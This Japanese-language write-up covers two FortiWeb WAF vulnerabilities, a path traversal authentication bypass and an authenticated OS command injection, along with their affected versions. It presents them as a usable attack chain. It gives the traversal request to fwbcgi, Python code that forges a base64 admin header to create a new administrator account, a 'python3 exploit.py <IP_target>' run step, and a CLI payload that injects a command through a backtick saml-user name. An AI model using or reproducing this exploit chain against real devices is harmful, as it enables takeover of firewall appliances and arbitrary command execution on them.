FortiWebはWebアプリケーションファイアウォール（WAF）であり、Webアプリケーションを保護するために使用されます。
2025年には、2つの深刻な脆弱性が発見されました：
| 項目 | 内容 |
|---|---|
| 脆弱性の種類 | Relative Path Traversal Authentication Bypass |
| 原因 | FortiWebが認証前にパスを厳密に処理しないため： - 論理パス文字列に基づくアクセス制御 - 完全なパスの正規化を行わない - ../を使用した内部リソースへのアクセスを許可 |
| 説明 | 一部の管理エンドポイントが有効な認証なしでアクセスされる可能性があります |
| 影響 | - 認証を完全にバイパス - 管理機能への不正アクセス - 権限モデルの破壊 |
| 影響を受けるバージョン | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
例：
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
これにより、ライブラリのバージョン競合を避け、作業環境の安定性を確保し、システムへの影響を最小限に抑えることができます。
ペイロード
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Python3でツールを実行：
python3 exploit.py <IP_target>
<IP_target>: IPアドレスは、FortiWebデバイスのホスト名です。
ユーザー名とパスワードを取得 -> ログインを実行
エクスプロイトに成功し、管理者権限を持つ新しいアカウントが作成されました。
新しく作成した管理者アカウントでログインに成功した後、攻撃者は特別に細工されたリクエストまたはFortiWeb CLIコマンドラインインターフェースを介して、認証済みのコマンドインジェクション脆弱性を悪用できます：
config user saml-user
edit "`id`" ## ここでコマンドを入力
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWebは設定チェーンを抜け、saml-userの設定中にidコマンドを実行します。
| 項目 | 内容 |
|---|
| 脆弱性の種類 | OS Command Injection (CWE-78) |
| 原因 | FortiWebがOSコマンド実行時に入力を安全に処理しないため： - 入力のバリデーションなし - 特殊文字のエスケープ不足 - ユーザーデータを直接システムコマンドに渡す |
| 説明 | 認証が必要だが、システムコマンドの挿入を許可する脆弱性 |
| 影響 | - 意図しないコマンドの実行 - システムリソースへのアクセス - 完全性と可用性への影響 |
| 影響を受けるバージョン | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |